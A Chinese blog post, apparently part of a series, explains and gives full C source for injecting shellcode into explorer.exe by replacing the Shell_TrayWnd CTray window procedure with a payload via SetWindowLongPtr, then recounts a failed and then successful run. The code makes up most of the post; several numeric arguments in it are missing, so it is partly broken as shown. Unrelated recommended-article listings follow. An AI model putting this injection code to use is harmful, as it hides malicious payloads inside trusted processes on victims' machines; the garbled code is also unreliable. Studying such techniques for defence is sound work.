今天介绍第三种远程执行shellcode的思路:函数回调;

1、所谓回调,简单理解:

  •   windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开发人员根据实际情况完善这些事务的处理过程,比如多线程;windows提供了创建线程的接口CreateThread、CreateRemoteThread,线程创建好后干啥了? 当然是执行开发人员个性化的代码了! 所以这些API的参数也预留了开发人员自定义代码的入口;
  • windows内部:不同模块有不同的功能,模块之间是互相协同的,并且是典型的多对多关系。如果模块之间的调用是紧耦合并且固化,不利于模块的复用,所以内部很多地方也是通过回调函数实现模块之间互相松耦合的,典型的比如windows消息机制:窗口之间互相PostMessage、SendMessage,接收到消息后,开发人员可以通过重写WndProc函数自定义消息的处理过程;

本次实验利用windows窗口之间的消息传递机制执行自己的shellcode,核心原理如下:

  •   通过Shell_TrayWnd打开目标进程(通常是explorer.exe);
  • 写入shellcode
  • 构造CTray对象,其中有个成员就是WndProc,使其指向shellcode;CTray对象随后写入目标进程
  • 调用SetWindowLongPtr, 让窗口的处理程序指向CTray对象,进而执行我们自己定义的shellcode;

  核心代码如下:

头文件:

//#define UNICODE
#include "ntlib/ntddk.h"
#include <stdio.h>
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "ntdll.lib") // CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
ULONG_PTR vTable; // change to remote memory address
ULONG_PTR AddRef;
ULONG_PTR Release;
ULONG_PTR WndProc; // window procedure (change to payload)
} CTray; VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize);
VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize);
DWORD readpic(PWCHAR path, LPVOID* pic); #endif // !_KCT_H

  C文件:

#include "ktc.h"

VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize)
{
LPVOID cs, ds;
CTray ct;
ULONG_PTR ctp;
HWND hw;
HANDLE hp;
DWORD pid;
SIZE_T wr; // 1. Obtain a handle for the shell tray window
hw = FindWindow(L"Shell_TrayWnd", NULL); // 2. Obtain a process id for explorer.exe
GetWindowThreadProcessId(hw, &pid);
printf("find window ID=%d\n", pid);
// 3. Open explorer.exe
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 4. Obtain pointer to the current CTray object
ctp = GetWindowLongPtr(hw, );
if (ctp == )
{
printf("GetWindowLongPtr failed!\n");
CloseHandle(hp);
return;
} // 5. Read address of the current CTray object
ReadProcessMemory(hp, (LPVOID)ctp,
(LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); // 6. Read three addresses from the virtual table
ReadProcessMemory(hp, (LPVOID)ct.vTable,
(LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * , &wr); // 7. Allocate RWX memory for code
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 8. Copy the code to target process
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
printf("payload address:%p\n", payload);
//printf("cs address:%p---->%s\n", cs, *(char *)cs);//cs是exlorer进程的地址,这里读会出事;
printf("cs address:%p\n", cs);
// 9. Allocate RW memory for the new CTray object
ds = VirtualAllocEx(hp, NULL, sizeof(ct),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 10. Write the new CTray object to remote memory
ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
ct.WndProc = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); // 11. Set the new pointer to CTray object
if (SetWindowLongPtr(hw, , (ULONG_PTR)ds) == )
{
printf("SetWindowLongPtr failed!\n");
VirtualFreeEx(hp, cs, , MEM_DECOMMIT);
VirtualFreeEx(hp, ds, , MEM_DECOMMIT);
CloseHandle(hp);
return;
}
   //system("pause");
// 12. Trigger the payload via a windows message
//PostMessage(hw, WM_CLOSE, 0, 0);
PostMessage(hw, WM_PAINT, , );
//SendNotifyMessageA(hw, WM_PAINT, 0, 0); //执行注入代码
Sleep();
//system("pause");
// 13. Restore the original CTray object
SetWindowLongPtr(hw, , ctp); //system("pause"); // 14. Release memory and close handles
VirtualFreeEx(hp, cs, , MEM_DECOMMIT);
VirtualFreeEx(hp, ds, , MEM_DECOMMIT);
CloseHandle(hp);
} /*shellcode从bin文件读出来*/
DWORD readpic(PWCHAR path, LPVOID* pic) {
HANDLE hf;
DWORD len, rd = ; // 1. open the file
hf = CreateFile(path, GENERIC_READ, , ,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hf != INVALID_HANDLE_VALUE) {
// get file size
len = GetFileSize(hf, );
// allocate memory
*pic = malloc(len + );
printf("*pic:%p------------->\n", *pic);
// read file contents into memory
ReadFile(hf, *pic, len, &rd, );
CloseHandle(hf);
}
return rd;
} int main(void) {
LPVOID pic = NULL;
DWORD len;
int argc;
PWCHAR* argv; argv = CommandLineToArgvW(GetCommandLine(), &argc); if (argc != )
{
printf("usage: kct <payload>\n");
return ;
} len = readpic(argv[], &pic);
if (len == ) { printf("invalid payload\n"); return ; } //kernelcallbacktable(pic, len);
CTray_WndProc_Hook(pic, len);
return ;
}

  执行后:通过process hacker看,shellcode成功写入explorer进程:

但最终结果并未按照预期弹出messageBox,反而导致explorer崩溃(表现为无法打开文件夹、下方任务栏点击右键没反应、点击左下角的”开始“也没反应);经过在不同代码处添加pause,反复尝试多次后发现问题所在:SetWindowLongPtr执行时出错。个人猜测原因(未经证实)如下:

SetWindowLongPtr执行时,会将原来默认的消息处理函数改成我们自定义的shellcode,这切换的过程需要时间;但windows是个非常复杂的系统,每毫秒、微妙甚至纳秒都有消息需要处理,切换时还会收到大量消息(shellcode里面的messageBox本身也要弹框),但切换过程中这些消息来不及(或压根无法)处理,导致explorer崩溃,然后进程挂掉后自动重启。这时再在任务栏点击右键、点击文件夹、点击左下角的开始等地方都会有原来的反应;这让我想起了前端时间学习用汇编写操作系统时的一些trick: 执行重要指令时,先cli关闭中断,避免指令被打断。执行完成后再sti 重启开启中断;但SetWindowLongPtr在执行的时候貌似并未有屏蔽消息的功能(后续会想一些办法,比如逆向一些关键的dll去核实);

这次实验算是失败了,下面还有10来种shellcode 的注入办法,后续会挨个尝试,找到当下最合适的那个;

最后:借(chao)鉴(xi)了别人的思路和代码如下:

https://www.sec-in.com/article/64

https://modexp.wordpress.com/

https://github.com/odzhan/injection

-------------------------------------------------------------------------分割线------------------------------------------------------------------------------------------------------------------------------------------------

同样的代码,今天编译成64位,换了一个shellcode(https://github.com/odzhan/injection/tree/master/kct 这里的release.bin),程序正常运行,shellcode执行完后弹出了记事本,这里总结一下刚开始实验时失败的原因:

1、explorer.exe是64位的,注入程序却是32位的,尽快shellcode成功注入了explorer.exe,但SetWindowLongPtr执行完后底层并未成功置换原CTray,导致自定义的shellcode未能执行;

2、原shellcode:本身也是32位的,里面的LoadLibrary和GetProcAddress都是在32位的环境下动态获取的,在64位的exlporer.exe中无法正常获取其地址,反而导致explorer.exe自身崩溃;

												

windows:shellcode 远程线程hook/注入(三)的更多相关文章

  1. windows:shellcode 远程线程hook/注入(一)

    https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode.这么做有个前提条件:目标线程 ...

  2. windows:shellcode 远程线程hook/注入(二)

    https://www.cnblogs.com/theseventhson/p/13218651.html   上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程su ...

  3. windows:shellcode 远程线程hook/注入(五)

    前面几篇文章介绍了通过APC注入.进程注入.windows窗口处理函数回调.kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行she ...

  4. windows:shellcode 远程线程hook/注入(四)

    https://www.cnblogs.com/theseventhson/p/13236421.html  这里介绍了利用回调函数执行shellcode的基本原理:这里介绍另外一种利用回调执行she ...

  5. 《windows核心编程系列》十九谈谈使用远程线程来注入DLL。

    windows内的各个进程有各自的地址空间.它们相互独立互不干扰保证了系统的安全性.但是windows也为调试器或是其他工具设计了一些函数,这些函数可以让一个进程对另一个进程进行操作.虽然他们是为调试 ...

  6. 使用远程线程来注入DLL

    使用远程线程来注入DLL DLL注入技术要求我们目标进程中的一个线程调用LoadLibrary来载入我们想要的DLL (1)用OpenProcess函数打开目标进程(2)用VirtualAllocEx ...

  7. 【windows核心编程】远程线程DLL注入

    15.1 DLL注入 目前公开的DLL注入技巧共有以下几种: 1.注入表注入 2.ComRes注入 3.APC注入 4.消息钩子注入 5.远线程注入 6.依赖可信进程注入 7.劫持进程创建注入 8.输 ...

  8. 实现远程线程DLL注入

    ### 32位:远程线程注入 远程线程注入是最常用的一种注入技术,该技术利用的核心API是 `CreateRemoteThread()` 这个API可以运行远程线程,其次通过创建的线程调用 `Load ...

  9. Dll注入:X86/X64 远程线程CreateRemoteThread 注入

    远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的L ...

随机推荐

  1. OldTrafford after 102 days

    THE RED GO MARCHING ON   One Team One Love Through the highs and the lows   One hundred and two long ...

  2. PCA算法 | 数据集特征数量太多怎么办?用这个算法对它降维打击!

    本文始发于个人公众号:TechFlow,原创不易,求个关注 今天是机器学习专题的第27文章,我们一起来聊聊数据处理领域的降维(dimensionality reduction)算法. 我们都知道,图片 ...

  3. Python爬虫:手把手教你写迷你爬虫架构

    前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 作者:我爱学Python 语言&环境 语言:继续用Python开路 ...

  4. selenium.common.exceptions.WebDriverException:no such session

    应该是browser对象关闭之后你又使用了

  5. DOM 和 BOM 区别

    DOM, DOCUMENT, BOM, WINDOW 区别DOM 是为了操作文档出现的 API,document 是其的一个对象:BOM 是为了操作浏览器出现的 API,window 是其的一个对象. ...

  6. Python函数01/函数的初识/函数的定义/函数调用/函数的返回值/函数的参数

    Python函数01/函数的初识/函数的定义/函数调用/函数的返回值/函数的参数 内容大纲 1.函数的初识 2.函数的定义 3.函数的调用 4.函数的返回值 5.函数的参数 1.函数初识 # def ...

  7. Python函数07/有参装饰器/多个装饰器装饰一个函数

    Python函数07/有参装饰器/多个装饰器装饰一个函数 目录 Python函数07/有参装饰器/多个装饰器装饰一个函数 内容大纲 1.有参装饰器 2.多个装饰器装饰一个函数 3.今日总结 3.今日练 ...

  8. linux专题(三):常用的基本命令(一)目录管理

    http://dwz.date/UDf 绝对路径和相对路径 我们知道Linux的目录结构为树状结构,最顶级的目录为根目录 /. 其他目录通过挂载可以将它们添加到树中,通过解除挂载可以移除它们. 在开始 ...

  9. 精通java并发-wait,notify和notifyAll的总结(含案例)

    目前CSDN,博客园,简书同步发表中,更多精彩欢迎访问我的gitee pages wait,notify和notifyAll 总结 在调用wait方法时,线程必须要持有被调用对象的锁,当调用wait方 ...

  10. Dubbo测试环境服务调用隔离这么玩对么

    背景阐述 前几天,有位同学问我一个关于 Dubbo 的问题.他的诉求是这样子的: 诉求一 第一个诉求是本地开发的时候想自己调用自己的服务,比如自己在改 A 服务,然后出问题了,本地再启动一个 B 服务 ...